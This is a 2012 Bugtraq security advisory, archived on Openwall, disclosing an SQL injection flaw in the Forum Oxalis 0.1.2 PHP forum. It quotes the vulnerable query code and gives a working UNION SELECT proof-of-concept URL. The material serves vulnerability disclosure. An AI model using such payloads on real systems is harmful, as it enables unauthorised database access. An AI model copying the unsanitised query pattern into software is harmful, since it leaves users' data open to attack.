lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201207031315.q63DFHud031892@sf01web2.securityfocus.com>
Date: Tue, 3 Jul 2012 13:15:17 GMT
From: pereira@...biz.de
To: bugtraq@...urityfocus.com
Subject: Forum Oxalis 0.1.2 <= SQL Injection Vulnerability

#################################################
Forum Oxalis 0.1.2 <= SQL Injection Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@...biz.de>

Vendor information:

"Forum Oxalis is a minimalis GPL PHP forum using CSS."

Vendor URI: http://developer.berlios.de/projects/forumoxalis/

#################################################

Risk-level: High

The application is prone to a remote SQL injection vulnerability.

-------------------------------------

func.php, line 72:

function lister_messages($id, $page, $parpage)

{
    global $mysql_table;

    $resu = mysql_query("select * from `$mysql_table` where id=$id");

    $nombre_messages = mysql_num_rows($resu);

forum.php, line 7:

$id = $_GET['id'];

forum.php, line 74:

case "message":

    lister_messages($id, $page, $reponses_par_page);

    $reponse_a_id = $id;

    break;

-------------------------------------

Exploit / Proof Of Concept:

http://localhost/ForumOxalis/index.php?id=99999/**/UNION/**/SELECT/**/0x00,version(),0x00,0x00,0x00,0x00,0x00,0x00,0x00&action=message

-------------------------------------

Solution:

Do some input validation. 

-------------------------------------

################################################# 

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ